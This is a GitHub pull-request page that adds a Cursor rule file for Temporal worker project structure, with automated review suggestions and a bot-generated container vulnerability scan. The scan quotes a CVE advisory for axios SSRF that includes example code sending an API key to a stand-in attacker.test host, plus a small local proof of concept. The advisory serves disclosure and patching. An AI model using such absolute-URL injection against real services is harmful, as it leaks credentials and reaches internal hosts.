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feat: Add Temporal Project Structure Rule documentation#27

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anatolyshipitz merged 4 commits intomainfrom
chore/add-temporal-structure-mdc
May 21, 2025
Merged

feat: Add Temporal Project Structure Rule documentation#27
anatolyshipitz merged 4 commits intomainfrom
chore/add-temporal-structure-mdc

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  • Introduced a new markdown file defining the directory and documentation structure for Temporal-based workflows and workers.
  • Outlined project structure, shared utilities, documentation requirements, best practices, and enforcement rules for creating new Temporal workers.

This addition enhances clarity and consistency in project organization for Temporal workflows.

- Introduced a new markdown file defining the directory and documentation structure for Temporal-based workflows and workers.
- Outlined project structure, shared utilities, documentation requirements, best practices, and enforcement rules for creating new Temporal workers.

This addition enhances clarity and consistency in project organization for Temporal workflows.
@anatolyshipitz anatolyshipitz requested a review from killev as a code owner May 20, 2025 19:09
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📝 Walkthrough

"""

Walkthrough

A new rule file, .cursor/rules/temporal-project-structure.mdc, has been added to define and enforce a standardized directory, documentation structure, and best practices for Temporal-based workers and workflows in the repository. The rule outlines directory layouts, documentation requirements, and mandates compliance for future pull requests involving Temporal components.

Changes

File(s) Change Summary
.cursor/rules/temporal-project-structure.mdc Introduced a rule file specifying required directory structure, documentation, and best practices for Temporal workers and workflows.

Sequence Diagram(s)

sequenceDiagram
    participant Developer
    participant Repository
    participant RuleFile

    Developer->>Repository: Add new Temporal worker/workflow
    Repository->>RuleFile: Validate structure and documentation
    RuleFile-->>Repository: Enforce compliance (structure, docs, best practices)
    Repository-->>Developer: Accept or request changes to PR
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Suggested reviewers

  • DenisChistyakov
    """

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@github-actions
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github-actions bot commented May 20, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:6c733d3457bd4e07e38d40d6bad56cf11282801bb64d9b6af0e9a859971038f9
vulnerabilitiescritical: 2 high: 5 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/samlify@2.9.0

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.029%
EPSS Percentile7th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/stdlib@1.24.0

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.018%
EPSS Percentile3rd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/multer@1.4.5-lts.2

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.038%
EPSS Percentile10th percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/axios@1.7.4

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.021%
EPSS Percentile4th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/semver@5.3.0

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.317%
EPSS Percentile54th percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/cross-spawn@7.0.3

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.108%
EPSS Percentile30th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/pdfjs-dist@2.16.105

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score13.314%
EPSS Percentile94th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

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Actionable comments posted: 2

🧹 Nitpick comments (4)
.cursor/rules/temporal-project-structure.mdc (4)

52-64: Documentation format should be specified.

While documentation requirements are clearly stated, the file format isn't explicitly mentioned. Although the .md extension suggests Markdown, it would be helpful to explicitly state this for clarity.

Each worker must have a dedicated documentation file at:
-`docs/user-guide/temporal/workers/<worker-name>.md`
+`docs/user-guide/temporal/workers/<worker-name>.md` (in Markdown format)

65-72: Best practices section is well-structured but could be enhanced.

The best practices section provides good guidance but could benefit from additional recommendations specific to Temporal workflows, such as error handling, versioning practices, and workflow/activity timeouts.

Consider adding Temporal-specific best practices, for example:

- Place all shared code in `workers-shared/` to maximize reuse and maintainability.
+ Place all shared code in `workers-shared/` to maximize reuse and maintainability.
+ - Configure appropriate timeouts for workflows and activities based on their expected execution time.
+ - Implement proper error handling for activities, including retry policies for transient failures.
+ - Follow Temporal's versioning practices when updating existing workflows to ensure backward compatibility.
+ - Avoid non-deterministic code in workflows (e.g., random number generation, current date/time without fixed seeds).

73-76: Enforcement section could be more detailed.

The enforcement section is concise but could provide more information about how the rules will be enforced (e.g., through PR reviews, automated checks, or both) and who is responsible for enforcing them.

## Enforcement

- PRs introducing new Temporal workers or workflows **must** follow this structure and update documentation accordingly.
+ PRs introducing new Temporal workers or workflows **must** follow this structure and update documentation accordingly.
+ - Compliance will be verified during code review by maintainers.
+ - Future automated checks may be implemented to validate adherence to this structure.
+ - Exceptions to these rules must be explicitly justified and approved by the team lead.

16-33: Consider including CI/CD configuration in the project structure.

The project structure includes source code and documentation but doesn't mention where CI/CD configuration for Temporal workers should be placed. This would be valuable for ensuring consistent deployment practices.

.
├── workers/                  # Root directory for all Temporal workers
│   ├── main/                 # Main worker package
...
├── docker-compose.yml        # Docker compose configuration
└── Dockerfile.temporal       # Base Temporal worker Dockerfile
+├── .github/                 # CI/CD configuration
+│   └── workflows/           # GitHub Actions workflows
+│       └── temporal.yml     # Workflows for building and deploying Temporal workers
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  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
🔇 Additional comments (1)
.cursor/rules/temporal-project-structure.mdc (1)

1-76: LGTM! The rule is well-structured and provides clear guidance.

This rule file provides excellent guidance for organizing Temporal-based projects in a consistent manner. The structure is logical, and the requirements are clear. The suggestions above are enhancements to an already solid foundation.

- Revised the description to clearly define and enforce standardized directory structure and documentation requirements for Temporal-based workflows and workers.
- This change enhances clarity and understanding of the project's organization and documentation standards.
coderabbitai[bot]
coderabbitai bot previously approved these changes May 20, 2025
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Propose small refinement. Please free to argument if disagree as I'm not 100% sure I'm correct

…roject Structure documentation

- Updated references in the documentation to reflect the new directory name 'common' for shared utilities, types, and configuration.
@anatolyshipitz anatolyshipitz requested a review from killev May 21, 2025 11:42
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LGTM

@anatolyshipitz anatolyshipitz merged commit 10923c0 into main May 21, 2025
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@anatolyshipitz anatolyshipitz deleted the chore/add-temporal-structure-mdc branch May 21, 2025 14:56
@coderabbitai coderabbitai bot mentioned this pull request May 28, 2025
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